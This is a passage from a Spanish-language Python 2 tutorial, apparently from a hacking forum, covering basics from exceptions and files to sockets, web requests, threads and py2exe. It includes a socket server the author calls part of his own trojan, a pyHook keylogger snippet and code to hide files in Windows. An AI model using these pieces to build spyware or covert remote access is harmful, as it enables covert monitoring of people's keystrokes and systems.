error , si alguna vez estamos haciendo un bucle o algo asi podemos usar pass para que el error pase de alto de la siguiente
manera

Código: text

while 1:
try:
  print "soy inmortal"
  ddssd
except:
  pass


Como ven tenemos un bucle infinito y protegido contra errores raros , eso si usamos varias veces control+c el bucle se rompe
pero bueno

Tambien podemos rescatar errores cuando cargamos un archivo de la siguiente forma

Código: text

try:
lineas = open("no existo.txt", "r").readlines()
except:
print "error"


Como ven si el archivo no existe solo muestra error con el print que pusimos


0x07 : Variables argumentales


En python tambien tenemos variables argumentales para poder usarlas tenemos que llamar al modulo sys de la siguiente manera

Código: text

import sys


Como ven , con import podemos llamar a cualquier modulo existente con solo poner el nombre

Para poder usar argumentos tenemos que poner valores despues del nombre del script un ejemplo
seria asi


Código: text

import sys

print sys.argv[0] #ruta de script
print sys.argv[1] #argumento uno
print sys.argv[2] #argumento dos


Si lo cargamos de la siguiente forma

Código: text

script.py hola chau


Nos muestra lo siguiente

Código: text


C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\Warfactory I
II\manuales>test.py hola chau
C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\Warfactory I
II\manuales\test.py
hola
chau



Como ven , sys.argv[0] represente el script cargado , a partir de 1 en adelante son los argumentos
que usamos.

0x08 : Concatenacion

Para concatenar variables normales podemos hacer lo siguiente

Código: text

hola = "hola"
chau = "chau"
fin = hola+" "+chau
print fin


Como ven primero creamos dos cadenas de texto una llamada hola y otro chau , las dos con el mismo nombre y valor de cada una.
Nuestra idea era unir las dos en un sola llamada fin , entonces lo que hacemos es usar + para unirlas , despues del mas ponemos la
otra variable , como ven tambien le agregue un espacio entre las dos variables para que no se
mostraran pegadas
Finalmente usamos print para mostrar la variable final.


0x09 : Comentarios


Bien , los cometarios como en todos los lenguajes se usan para dejar notas sobre el codigo o sobre
cualquier cosa , aunque se usa frecuentemente para dejar notas explicativas sobre alguna linea de codigo

Para usar comentarios en python tenemos que usar # de la siguiente forma

Código: text

#hola


Como ven despues del # se considera como comentario en todo la linea , tambien hay que aclarar si cometemos el error de poner
un comentario sin darnos cuenta en mitad del codigo puede dar un resultado odioso

Un ejemplo seria

Código: text

for #ran in range(1,10):
print ran


Que nos da como resultado

Código: text

  File "C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\Warf
actory III\manuales\test.py", line 1
    for #ran in range(1,10):
                           ^
SyntaxError: invalid syntax


Si usamos un try y except con un pass no deberia haber ningun problema pero esto es solo un ejemplo de poner
en cualquier lugar un comentario.


0x10 : Entradas de teclado


Si queremos hacer un formulario o menu en python podemos usar raw_input() o input()
Para dar un ejemplo vamos a hacer el tipico menu de la edad y el nombre .


-- == raw_input() == --

Código: text

print "nombre : "
nombre = raw_input()
print "edad : "
edad = raw_input()
print nombre
print edad


-- == input() == --

Código: text

print "nombre : "
nombre = raw_input()
print "edad : "
edad = input()
print nombre
print edad


La unica diferencia entre los dos es que input() da error cuando lo ingresado no es de valor
numerico


0x11 : Manejo de split


Para usar split tenemos que importar el modulo re de la siguiente manera

Código: text

import re


Poniendo de ejemplo la siguiente cadena de texto

Código: text

texto = "hola mundo soy 123 chau"


Poniendo de ejemplo si lo que queremos es partir la cadena para guardar en una variable
todo lo que esta antes de "soy" podemos hacer esto

Código: text

import re

texto = "hola mundo soy 123 chau"

te = re.split("soy",texto)
print te[0]
print te[1]


Como ven el resultado es el siguiente

Código: text

hola mundo
123 chau


Podemos hacer miles de cosas pero solo estoy enseñando lo basico


0x12 : Funciones


Bueno , al fin llegue a la parte funciones , si lo queremos es crear una funcion que haga alguna cosa o simplemente
reducir codigo con una tarea repetitiva , tendremos que usar las famosas funciones

Para crear una simple tenemos que hacer lo siguiente

Código: text

def simple():
print "hola"


Como ven creamos una funcion llamada simple , la cual si es ejecutada nos imprime en pantalla hola
Entonces si queremos que esa funcion se ejecute tenemos que hacer lo siguiente.

Código: text

def simple():
print "hola"

simple()


Como ven ponemos el nombre de la funcion con () , de esa forma llamamos a la funcion creada.

Aclaracion : Antes de llamar una funcion esta tiene que estar antes de la llamada , como se muestra arriba, de lo contrario
habra un error

Entonces si lo queremos es mandar dos cadenas de texto a la funcion para que nos retone las dos podemos
hacer lo siguiente

Código: text

def simple(a,b):
return a,b

a,b = simple("a","b")
print a
print b


Como ven mandamos dos cadenas de texto encerrada entre parentesis , donde la funcion las captura con las variables a y b
Entonces la funcion retona las dos cadenas de texto donde las recibimos con los nombre de variable a y b
Despues de recibir las variables las mostramos por pantalla

Mostrando esto

Código: text

a
b


0x13 : Listar directorios y manejo de archivos


Bien primero empecemos por el manejo de directorios

Para cargar un directorio y mostrar los archivos en una lista podemos hacer esto

Código: text

import glob

dir = "C:/xampp/"
files = glob.glob(dir+"*")
for file in files:
print file


Como ven el modulo encargado de listar el directorio es glob al cual importamos al inicio del codigo
despues declaramos una cadena de texto con la ruta del directorio a cargar , entonces usamos glob para tener los archivos del
directorio , el * sirve para que liste todos los archivos , despues con la lista retonada con el nombre files , usamos for para
leerla y mostrar todos los archivos por pantalla.
   
Para verificar la existencia de un directorio podemos usar el modulo os de la siguiente manera

Código: text

if os.path.isdir("c:/xampp/"):
print "el vive"


De esa forma si el directorio existe se mostrara en pantalla "el vive"

Si queremos borrar un directorio podemos usar el modulo os de la siguiente forma

Código: text

os.rmdir("c:/test/")


Con eso borrariamos un directorio

Si queremos mover o renombrar un archivo o un directorio podemos uar el modulo shutil de la
siguiente forma

Con un directorio

Código: text

import shutil

shutil.move("c:/test/","c:/tes")


Con un archivo

Código: text

import shutil

shutil.move("file.txt","nada.txt")


Si queremos copiar un archivo o directorio podemos hacer lo mismo con el modulo shutil

Con un directorio

Código: text

import shutil

shutil.copy("c:/test/","c:/tes")


Con un archivo

Código: text

import shutil

shutil.copy("c:/test/","c:/tes")


Bien si lo que queremos es leer un archivo y mostrar su contenido en una lista podemos hacer
esto

Código: text

lineas = open("no existo.txt", "r").readlines()


COmo ven si el archivo existe podremos guardar todos las lineas del archivo abierto y guardarlas
en una lista llamada lineas

Si lo que queremos es verificar la existencia de un archivo podemos hacer lo siguiente

Código: text

if os.path.isfile("c:/leer.txt"):
print "bien"


Si el archivo existe el script mostrara en pantalla "bien"

Si lo que queremos es borrar un archivo solo tenemos que hacer esto con el modulo os

Código: text

import os

os.unlink("c:/jo.txt")


Finalmente si queremos abrir un archivo y mostrar su contenido podemos hacer lo siguiente

Código: text

lineas = open("test.py","r").readlines()

for linea in lineas:
print linea


Como ven guardamos en una lista llamada lineas todo el contenido leido en el archivo "test.py" claro lo pueden cambiar pero es solo un ejemplo ,
entonces despues abrimos la lista y mostramos linea por linea en pantalla.


0x14 : Manejo de sockets


Bien , ahora vamos a hablar de sockets , para poder usarlos debemos llamar a la libreria socket de la siguiente
forma

Código: text

import socket


Entonces imaginemos que queremos mandar una peticion GET a un servidor HTTP mediante sockets para finalmente mostrar el resultado
que no dio la pagina por nuestra peticion GET , lo podriamos hacer asi

Código: text

import socket

sock = socket.socket()
sock.connect(("localhost",80))
sock.send("GET / HTTP/1.0"+"\r\n")
codex = sock.recv(9999)
print "\n"+codex


Como podemos ver primero creamos el objeto que tiene el modulo socket para poder usar sus funciones con
el nombre sock , entonces usamos connect para poder conectarnos al servidor HTTP , primer ponemos el host y
despues el puerto , despues usamos send para enviar la peticicion , despues usamos recv para capturar la
respuesta con el nombre de codex
Finalmente mostramos por pantalla el valor de la variable codex

Ahora veamos como crear un server usando sockets en python

Un ejemplo de un server seria el siguiente

Código: text


import socket,re,os

slave = socket.socket()
slave.bind(("",666))
slave.listen(999)

a,b = slave.accept()

while True:
rex = a.recv(20)
if re.findall("getso",rex):
  z = os.name
  a.send(z)


Es una porcion de codigo de un pequeño troyano que habia hecho en python , pero vamos a analizar
la parte mas importante del codigo que es el proceso de crear la conexion.
Entonces para empezar creamos el objeto para poder usar las funciones del modulo socket con el
nombre de slave , entonces usamos bind para que nuestra propia computadora abra una conexion en el
puerto 666 , con listen() podemos capturar hacer que la conexion se mantenga.
La parte importante es slave.accept() que es donde se usa para que entren clientes al servidor
socket donde a es el cliente , entonces creamos un bucle infinito usando while , en la parte
del bucle podemos capturar todo el contenido que nos envia el cliente con recv , el contenido
se guarda como una cadena de texto llamada rex , despues usamos el modulo re para poder examinar el
contenido que nos envio el cliente , en la parte de re.findall se intenta confirmar que si en el
texto que nos envio el cliente hay algo como "getso" , si ese patron existe en el la variable
rex usamos el modulo os para enviar el nombre de nuestro sistema operativo con el nombre de una
cadena de texto llamada z , finalmente enviamos el contenido de la cadena de texto usando send


0x15 : Interactuar con webs y expresiones regulares

Bien , ahora es vamos a interactuar con webs , para poder hacer esto tenemos que llamar
al modulo urllib2 con import de la siguiente forma

Código: text

import urllib2


Entonces para poder realizar una peticion GET tenemos que hacer lo siguiente

Código: text

import urllib2
nave = urllib2.build_opener()
nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]

code = nave.open("http://127.0.0.1/sql.php").read()
print code


Bien , entonces comencemos a analizar el codigo , primero importamos el modulo necesario para
esto , despues creamos el objeto para poder usar las funciones del modulo usando la variable
nave , entonces usamos la funcion add_header para poner el navegador que estamos usando , despues
usamos open() y read() para leer el contenido de la pagina y guardar el resultado de la misma
en una cadena de texto llamada code
Finalmente mostramos por pantalla el codigo.

Si lo queremos es usar una peticion POST tenemos que hacer lo siguiente


Código: text

import urllib2
nave = urllib2.build_opener()
nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]

code = nave.open("http://127.0.0.1/post.php","te=probando&ok1=ok").read()
print code




El mismo procedimiento lo unico que cambia es que como segundo parametro en la funcion open usamos
los datos necesarios (inputs) para poder realizar el procedimiento con el metodo POST de la pagina.

Si quieren entender mejor el codigo del formulario este

Código: text

<form action='' method=POST>
<input type=text name=te value=probando>
<input type=submit name=ok1 value=okr>
</form>


Recuerden que para ordenar los datos para el formulario primero debe ir el name y despues el value tanto de cajas de texto como
el boton.

Se me estaba olvidando como usar expresiones regualares en python , para poder usarlas tenemos que
llamar al modulo re de la siguiente forma

Código: text

import re


Entonces si tenemos la siguiente cadena de texto como muestra el ejemplo

Código: text

texto = "Hola soy 123 chau"


Si lo que queremos es sacar solo el 123 tenemos que hacer lo siguiente

Código: text

import re

texto = "Hola soy 123 chau"

if (re.findall("Hola soy (.*?) chau",texto)):
nombre = re.findall("Hola soy (.*?) chau",texto)
print nombre[0]


Como ven uso (.*?) en findall con referencia a la cadena de texto para capturar lo que sea que halla en ese espacio , despues muestro el resultado
con nombre[0] , claro que si no lo encuentra no imprimira nada.


0x16 : Descarga de archivos


Esto es simple , primero debemos importar el modulo necesario de la siguiente manera

Código: text

import urllib
[code]

Despues usamos la funcion urlretrieve que trae el modulo importado para bajar el archivo con el nombre que queramos ponerle
urllib.urlretrieve("http://localhost/t.jp","foto.jpg")


Como ven solo son dos parametros , el primero es la url del archivo a bajar y despues el
nombre que llevara cuando este bajado.

Tambien hay un tercer argumento que es para mostrar el estado del archivo cuando se esta bajando un ejemplo de como usarlo es
asi

Código: text

import urllib

def proxar(a,b,c):
cantidad = a * b
print cantidad

urllib.urlretrieve("http://localhost/t.jp","foto.jpg",reporthook=proxar)



Como ven le agregamos el tercer argumento al que hace referencia a una funcion llamada
proxar , claro puede llevar cualquier nombre , despues en esa funcion calculamos el bloque a * b para
despues guardar su contenido en una cadena de texto , la cual la mostramos por pantalla.


0x17 : Manejo de funciones


Bien , me estaba olvidando de explicar como usar funciones en python , para poder crear una funcion en python tenemos que usar def , un ejemplo seria
asi

Código: text

def usar(variable):
print variable

usar("hola")



Como ven usamos def para despues poner el nombre de la funcion a usar , entre parentesis ponemos el nombre de la variable que estamos recibiendo para despues de cerrar los parentesis
poner el tipico : que hace referencia a que comenzo la funcion , despues de eso dejamos un espacio para poner lo que esa funcion hara.
Como ven usamos el nombre "hola" en usar() para poner el texto que le mandamos a la funcion.
Tambien podemos poner mas variables  como en el siguiente ejemplo

Código: text

def usar(variable,dos):
print variable
print dos

usar("hola","chau")



Como ven es lo mismo solo se le agregue otro texto a la funcion usar , y para mostrar el valor usamos la cadena de texto dos

Eso si tambien podemos retornar valores en la funciones como muestra el siguiente ejemplo

Código: text

def usar(h):
return h

re = usar("hola")

print re



Como primero ponemos la funcion donde podemos ver que usamos la variable h que vendria a ser lo que recibimos , para despues volver a mandarla como respuesta usando return , tambien
podemos mandar varios valores como en el siguiente ejemplo


Código: text

def usar(h,i):
return h,i

re,dos = usar("hola","chau")

print re
print dos




Como ven solo agregamos otra cadena de texto a la funcion usar , lo unico nuevo seria que separamos por coma las cadenas de texto que estamos por recibir despues del parentesis
, tambien vemos como separamos los valores por coma cuando estamos usando return.


0x18 : Creacion de un keylogger


Bien , para poder hacer un keylogger en python vamos a necesitar los modulos pyHook y pythoncom

Los pueden bajar de aca

Código: text

http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/pyHook-1.5.1.win32-py2.5.exe/download?use_mirror=ufpr
http://sourceforge.net/projects/pywin32/files/pywin32/Build%20215/pywin32-215.win32-py2.5.exe/download


El segundo es pywin que trae pythoncom entre otros que resultan muy utiles.

Una vez que los tengan instalado lo que tenemos que hacer primero en el script es importar los modulos
descargados de la siguiente manera

Código: text

import pyHook,pythoncom



Cabe destacar que estos modulos facilitan mucho el trabajo en la creacion de un keylogger , podemos usar las api de windows para hacerlo
pero estos modulos simplifican mucho el trabajo.

Código: text

def toma(frase):
print frase.Key

nave = pyHook.HookManager()
nave.KeyDown = toma
nave.HookKeyboard()
pythoncom.PumpMessages()


Como ven primero ponemos la funcion donde se mandara el valor para poder ver la tecla pulsada con el nombre de frase.
Despues vemos como usamos el modulo pyhook para poder usar sus funciones a traves de la variable nave.
Como ven cuando usamos keydown marcamos el nombre de la funcion que usara para capturar el valor de la tecla pulsada


0x19 : Compresion de archivos


Bien , ahora vamos a hablar sobre como comprimir archivos , para empezar tenemos que importar
el modulo necesario el cual es

Código: text

import zipfile


Una vez importado tenemos que hacer lo siguiente para poder continuar con lo que queremos hacer

Código: text

zipa = zipfile.ZipFile("probando.zip","w",zipfile.ZIP_DEFLATED)


Como ven creamos el archivo You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login con la variable zipa , la cual nos va ayudar a agregar archivos de la siguiente forma

Código: text

zipa.write("C:/leer.txt")


Como ven agregamos el archivo leer.txt a al archivo comprimido , podemos agregar todos los que queramos , pero si ponemos mal la ruta del
archivo que queremos comprimir vamos a arruinar el script.

Finalmente cuando terminemos de usar el archivo comprimido debemos hacer lo siguiente

Código: text

zipa.close()



0x20 : Mostrar y ocultar archivos en Windows


Bien , ahora veremos como esconder archivos en Windows , para empezar necesitamos importar dos modulos necesarios

Código: text

import win32api,win32con


Los podemos bajar de aca (pywin)

Código: text

http://sourceforge.net/projects/pywin32/files/pywin32/Build%20215/pywin32-215.win32-py2.5.exe/download


Entonces hagamos de cuenta de que tenemos un archivo llamado c:/leer.txt y lo que queremos esconder , entonces tendriamos que
hacer esto

Código: text

win32api.SetFileAttributes("c:/leer.txt",win32con.FILE_ATTRIBUTE_HIDDEN)


Si lo probamos con un archivo en serio veremos que el archivo no esta , pero que pasa si qureremos ponerle el atributo normal para    
que el archivo no se siga escondiendo mas , entonces tenemos que hacer lo siguiente

Código: text

win32api.SetFileAttributes("c:/leer.txt",win32con.FILE_ATTRIBUTE_NORMAL)


0x21 : Manejo de threads

Bien , no conozco mucho sobre threads , pero me siempre me ha surgido el caso de tener dos cosas o funciones activas al mismo tiempo , eso es lo que voy
a tratar de enseñar.
Para empezar tenemos que importar el modulo necesario de la siguiente manera

Código: text

import threading


Entonces imaginemos que necesitamos dos funciones las cuales una muestre hola y la otra chau usando print.
Entonces hariamos algo asi

Código: text


def uno():
while 1:
  print "hola"

def probardos():
while 1:
  print "chau"

t1 = threading.Thread(target=uno)
t1.start()

t2 = threading.Thread(target=probardos)
t2.start()


Como podemos ver usamos dos funciones , una llamada uno y la otra probardos , entonces usamos las variables t1 y t2 para poder usar las funciones de thread ,
tambien podemos ver que en target ponemos el nombre de la funcion a usar en thread , tambien podemos ver que en el contenido de cada funcion usamos while para poder mostrar
enternamente un print al mismo tiempo que el otro.
Eso si , siempre tenemos que usar start() de lo contrario la funcion nunca empezarara con su trabajo


0x22 : Compilar script a exe


Para poder compilar scripts en python a exe necesitamos bajar py2exe , lo podemos bajar de aca

Código: text

http://sourceforge.net/projects/py2exe/files/py2exe/0.6.5/py2exe-0.6.5.win32-py2.5.exe/download


Entonces una vez que lo tengamos instalado tenemos que crear un archivo llamado You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login con el siguiente contenido

Código: text

from distutils.core import setup
import py2exe

setup(console=["test.py"])


Como ven importamos dos modulos uno llamado setup y el otro py2exe , despues usamos una funcion llamada setup , la cual tiene un argumento llamado console , como vemos tenemos
entre comillas un archivo llamado You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login ese es el script de ejemplo que pretendo compilar a exe , eso si , si quieren compilar el suyo tienen que poner el verdadero nombre
Entonces para compilar el script tenemos que cargar una consola msdos , despues usen cd para ir al directorio donde estan los dos scripts (setup.py y You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login)  , para finalmente ejecutar lo siguiente

Código: text

setup.py py2exe


Como ven usamos un argumento llamado py2exe el cual es obligatorio para compilar el script , en mi caso me dio el siguiente resultado

Código: text

Microsoft Windows [Versión 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\Usuario>dir
El volumen de la unidad C no tiene etiqueta.
El número de serie del volumen es: 3CB0-02D7

Directorio de C:\Users\Usuario

17/07/2011  06:11 a.m.    <DIR>          .
17/07/2011  06:11 a.m.    <DIR>          ..
15/07/2011  11:20 p.m.    <DIR>          .idlerc
19/04/2011  11:16 a.m.    <DIR>          Contacts
18/04/2011  08:34 p.m.    <DIR>          Desktop
19/04/2011  11:16 a.m.    <DIR>          Links
19/04/2011  11:16 a.m.    <DIR>          Saved Games
19/04/2011  11:16 a.m.    <DIR>          Searches
17/07/2011  06:11 a.m.    <DIR>          test
               0 archivos              0 bytes
               9 dirs  141.737.705.472 bytes libres

C:\Users\Usuario>cd test

C:\Users\Usuario\test>dir
El volumen de la unidad C no tiene etiqueta.
El número de serie del volumen es: 3CB0-02D7

Directorio de C:\Users\Usuario\test

17/07/2011  06:11 a.m.    <DIR>          .
17/07/2011  06:11 a.m.    <DIR>          ..
17/07/2011  06:05 a.m.                92 setup.py
17/07/2011  05:58 a.m.               208 test.py
               2 archivos            300 bytes
               2 dirs  141.737.705.472 bytes libres

C:\Users\Usuario\test>setup.py py2exe
running py2exe
creating C:\Users\Usuario\test\build
creating C:\Users\Usuario\test\build\bdist.win32
creating C:\Users\Usuario\test\build\bdist.win32\winexe
creating C:\Users\Usuario\test\build\bdist.win32\winexe\collect-2.5
creating C:\Users\Usuario\test\build\bdist.win32\winexe\bundle-2.5
creating C:\Users\Usuario\test\build\bdist.win32\winexe\temp
creating C:\Users\Usuario\test\dist
*** searching for required modules ***
*** parsing results ***
creating python loader for extension 'unicodedata'
creating python loader for extension 'bz2'
*** finding dlls needed ***
*** create binaries ***
*** byte compile python files ***
byte-compiling C:\Python25\lib\StringIO.py to StringIO.pyc
byte-compiling C:\Python25\lib\UserDict.py to UserDict.pyc
byte-compiling C:\Python25\lib\__future__.py to __future__.pyc
byte-compiling C:\Python25\lib\_strptime.py to _strptime.pyc
byte-compiling C:\Python25\lib\_threading_local.py to _threading_local.pyc
byte-compiling C:\Python25\lib\atexit.py to atexit.pyc
byte-compiling C:\Python25\lib\base64.py to base64.pyc
byte-compiling C:\Python25\lib\calendar.py to calendar.pyc
byte-compiling C:\Python25\lib\codecs.py to codecs.pyc
byte-compiling C:\Python25\lib\copy.py to copy.pyc
byte-compiling C:\Python25\lib\copy_reg.py to copy_reg.pyc
byte-compiling C:\Python25\lib\dummy_thread.py to dummy_thread.pyc
byte-compiling C:\Python25\lib\encodings\__init__.py to encodings\__init__.pyc
creating C:\Users\Usuario\test\build\bdist.win32\winexe\collect-2.5\encodings
byte-compiling C:\Python25\lib\encodings\aliases.py to encodings\aliases.pyc
byte-compiling C:\Python25\lib\encodings\ascii.py to encodings\ascii.pyc
byte-compiling C:\Python25\lib\encodings\base64_codec.py to encodings\base64_cod
ec.pyc
byte-compiling C:\Python25\lib\encodings\big5.py to encodings\big5.pyc
byte-compiling C:\Python25\lib\encodings\big5hkscs.py to encodings\big5hkscs.pyc

byte-compiling C:\Python25\lib\encodings\bz2_codec.py to encodings\bz2_codec.pyc

byte-compiling C:\Python25\lib\encodings\charmap.py to encodings\charmap.pyc
byte-compiling C:\Python25\lib\encodings\cp037.py to encodings\cp037.pyc
byte-compiling C:\Python25\lib\encodings\cp1006.py to encodings\cp1006.pyc
byte-compiling C:\Python25\lib\encodings\cp1026.py to encodings\cp1026.pyc
byte-compiling C:\Python25\lib\encodings\cp1140.py to encodings\cp1140.pyc
byte-compiling C:\Python25\lib\encodings\cp1250.py to encodings\cp1250.pyc
byte-compiling C:\Python25\lib\encodings\cp1251.py to encodings\cp1251.pyc
byte-compiling C:\Python25\lib\encodings\cp1252.py to encodings\cp1252.pyc
byte-compiling C:\Python25\lib\encodings\cp1253.py to encodings\cp1253.pyc
byte-compiling C:\Python25\lib\encodings\cp1254.py to encodings\cp1254.pyc
byte-compiling C:\Python25\lib\encodings\cp1255.py to encodings\cp1255.pyc
byte-compiling C:\Python25\lib\encodings\cp1256.py to encodings\cp1256.pyc
byte-compiling C:\Python25\lib\encodings\cp1257.py to encodings\cp1257.pyc
byte-compiling C:\Python25\lib\encodings\cp1258.py to encodings\cp1258.pyc
byte-compiling C:\Python25\lib\encodings\cp424.py to encodings\cp424.pyc
byte-compiling C:\Python25\lib\encodings\cp437.py to encodings\cp437.pyc
byte-compiling C:\Python25\lib\encodings\cp500.py to encodings\cp500.pyc
byte-compiling C:\Python25\lib\encodings\cp737.py to encodings\cp737.pyc
byte-compiling C:\Python25\lib\encodings\cp775.py to encodings\cp775.pyc
byte-compiling C:\Python25\lib\encodings\cp850.py to encodings\cp850.pyc
byte-compiling C:\Python25\lib\encodings\cp852.py to encodings\cp852.pyc
byte-compiling C:\Python25\lib\encodings\cp855.py to encodings\cp855.pyc
byte-compiling C:\Python25\lib\encodings\cp856.py to encodings\cp856.pyc
byte-compiling C:\Python25\lib\encodings\cp857.py to encodings\cp857.pyc
byte-compiling C:\Python25\lib\encodings\cp860.py to encodings\cp860.pyc
byte-compiling C:\Python25\lib\encodings\cp861.py to encodings\cp861.pyc
byte-compiling C:\Python25\lib\encodings\cp862.py to encodings\cp862.pyc
byte-compiling C:\Python25\lib\encodings\cp863.py to encodings\cp863.pyc
byte-compiling C:\Python25\lib\encodings\cp864.py to encodings\cp864.pyc
byte-compiling C:\Python25\lib\encodings\cp865.py to encodings\cp865.pyc
byte-compiling C:\Python25\lib\encodings\cp866.py to encodings\cp866.pyc
byte-compiling C:\Python25\lib\encodings\cp869.py to encodings\cp869.pyc
byte-compiling C:\Python25\lib\encodings\cp874.py to encodings\cp874.pyc
byte-compiling C:\Python25\lib\encodings\cp875.py to encodings\cp875.pyc
byte-compiling C:\Python25\lib\encodings\cp932.py to encodings\cp932.pyc
byte-compiling C:\Python25\lib\encodings\cp949.py to encodings\cp949.pyc
byte-compiling C:\Python25\lib\encodings\cp950.py to encodings\cp950.pyc
byte-compiling C:\Python25\lib\encodings\euc_jis_2004.py to encodings\euc_jis_20
04.pyc
byte-compiling C:\Python25\lib\encodings\euc_jisx0213.py to encodings\euc_jisx02
13.pyc
byte-compiling C:\Python25\lib\encodings\euc_jp.py to encodings\euc_jp.pyc
byte-compiling C:\Python25\lib\encodings\euc_kr.py to encodings\euc_kr.pyc
byte-compiling C:\Python25\lib\encodings\gb18030.py to encodings\gb18030.pyc
byte-compiling C:\Python25\lib\encodings\gb2312.py to encodings\gb2312.pyc
byte-compiling C:\Python25\lib\encodings\gbk.py to encodings\gbk.pyc
byte-compiling C:\Python25\lib\encodings\hex_codec.py to encodings\hex_codec.pyc

byte-compiling C:\Python25\lib\encodings\hp_roman8.py to encodings\hp_roman8.pyc

byte-compiling C:\Python25\lib\encodings\hz.py to encodings\hz.pyc
byte-compiling C:\Python25\lib\encodings\idna.py to encodings\idna.pyc
byte-compiling C:\Python25\lib\encodings\iso2022_jp.py to encodings\iso2022_jp.p
yc
byte-compiling C:\Python25\lib\encodings\iso2022_jp_1.py to encodings\iso2022_jp
_1.pyc
byte-compiling C:\Python25\lib\encodings\iso2022_jp_2.py to encodings\iso2022_jp
_2.pyc
byte-compiling C:\Python25\lib\encodings\iso2022_jp_2004.py to encodings\iso2022
_jp_2004.pyc
byte-compiling C:\Python25\lib\encodings\iso2022_jp_3.py to encodings\iso2022_jp
_3.pyc
byte-compiling C:\Python25\lib\encodings\iso2022_jp_ext.py to encodings\iso2022_
jp_ext.pyc
byte-compiling C:\Python25\lib\encodings\iso2022_kr.py to encodings\iso2022_kr.p
yc
byte-compiling C:\Python25\lib\encodings\iso8859_1.py to encodings\iso8859_1.pyc

byte-compiling C:\Python25\lib\encodings\iso8859_10.py to encodings\iso8859_10.p
yc
byte-compiling C:\Python25\lib\encodings\iso8859_11.py to encodings\iso8859_11.p
yc
byte-compiling C:\Python25\lib\encodings\iso8859_13.py to encodings\iso8859_13.p
yc
byte-compiling C:\Python25\lib\encodings\iso8859_14.py to encodings\iso8859_14.p
yc
byte-compiling C:\Python25\lib\encodings\iso8859_15.py to encodings\iso8859_15.p
yc
byte-compiling C:\Python25\lib\encodings\iso8859_16.py to encodings\iso8859_16.p
yc
byte-compiling C:\Python25\lib\encodings\iso8859_2.py to encodings\iso8859_2.pyc

byte-compiling C:\Python25\lib\encodings\iso8859_3.py to encodings\iso8859_3.pyc

byte-compiling C:\Python25\lib\encodings\iso8859_4.py to encodings\iso8859_4.pyc

byte-compiling C:\Python25\lib\encodings\iso8859_5.py to encodings\iso8859_5.pyc

byte-compiling C:\Python25\lib\encodings\iso8859_6.py to encodings\iso8859_6.pyc

byte-compiling C:\Python25\lib\encodings\iso8859_7.py to encodings\iso8859_7.pyc

byte-compiling C:\Python25\lib\encodings\iso8859_8.py to encodings\iso8859_8.pyc

byte-compiling C:\Python25\lib\encodings\iso8859_9.py to encodings\iso8859_9.pyc

byte-compiling C:\Python25\lib\encodings\johab.py to encodings\johab.pyc
byte-compiling C:\Python25\lib\encodings\koi8_r.py to encodings\koi8_r.pyc
byte-compiling C:\Python25\lib\encodings\koi8_u.py to encodings\koi8_u.pyc
byte-compiling C:\Python25\lib\encodings\latin_1.py to encodings\latin_1.pyc
byte-compiling C:\Python25\lib\encodings\mac_arabic.py to encodings\mac_arabic.p
yc
byte-compiling C:\Python25\lib\encodings\mac_centeuro.py to encodings\mac_centeu
ro.pyc
byte-compiling C:\Python25\lib\encodings\mac_croatian.py to encodings\mac_croati
an.pyc
byte-compiling C:\Python25\lib\encodings\mac_cyrillic.py to encodings\mac_cyrill
ic.pyc
byte-compiling C:\Python25\lib\encodings\mac_farsi.py to encodings\mac_farsi.pyc

byte-compiling C:\Python25\lib\encodings\mac_greek.py to encodings\mac_greek.pyc

byte-compiling C:\Python25\lib\encodings\mac_iceland.py to encodings\mac_iceland
.pyc
byte-compiling C:\Python25\lib\encodings\mac_latin2.py to encodings\mac_latin2.p
yc
byte-compiling C:\Python25\lib\encodings\mac_roman.py to encodings\mac_roman.pyc

byte-compiling C:\Python25\lib\encodings\mac_romanian.py to encodings\mac_romani
an.pyc
byte-compiling C:\Python25\lib\encodings\mac_turkish.py to encodings\mac_turkish
.pyc
byte-compiling C:\Python25\lib\encodings\mbcs.py to encodings\mbcs.pyc
byte-compiling C:\Python25\lib\encodings\palmos.py to encodings\palmos.pyc
byte-compiling C:\Python25\lib\encodings\ptcp154.py to encodings\ptcp154.pyc
byte-compiling C:\Python25\lib\encodings\punycode.py to encodings\punycode.pyc
byte-compiling C:\Python25\lib\encodings\quopri_codec.py to encodings\quopri_cod
ec.pyc
byte-compiling C:\Python25\lib\encodings\raw_unicode_escape.py to encodings\raw_
unicode_escape.pyc
byte-compiling C:\Python25\lib\encodings\rot_13.py to encodings\rot_13.pyc
byte-compiling C:\Python25\lib\encodings\shift_jis.py to encodings\shift_jis.pyc

byte-compiling C:\Python25\lib\encodings\shift_jis_2004.py to encodings\shift_ji
s_2004.pyc
byte-compiling C:\Python25\lib\encodings\shift_jisx0213.py to encodings\shift_ji
sx0213.pyc
byte-compiling C:\Python25\lib\encodings\string_escape.py to encodings\string_es
cape.pyc
byte-compiling C:\Python25\lib\encodings\tis_620.py to encodings\tis_620.pyc
byte-compiling C:\Python25\lib\encodings\undefined.py to encodings\undefined.pyc

byte-compiling C:\Python25\lib\encodings\unicode_escape.py to encodings\unicode_
escape.pyc
byte-compiling C:\Python25\lib\encodings\unicode_internal.py to encodings\unicod
e_internal.pyc
byte-compiling C:\Python25\lib\encodings\utf_16.py to encodings\utf_16.pyc
byte-compiling C:\Python25\lib\encodings\utf_16_be.py to encodings\utf_16_be.pyc

byte-compiling C:\Python25\lib\encodings\utf_16_le.py to encodings\utf_16_le.pyc

byte-compiling C:\Python25\lib\encodings\utf_7.py to encodings\utf_7.pyc
byte-compiling C:\Python25\lib\encodings\utf_8.py to encodings\utf_8.pyc
byte-compiling C:\Python25\lib\encodings\utf_8_sig.py to encodings\utf_8_sig.pyc

byte-compiling C:\Python25\lib\encodings\uu_codec.py to encodings\uu_codec.pyc
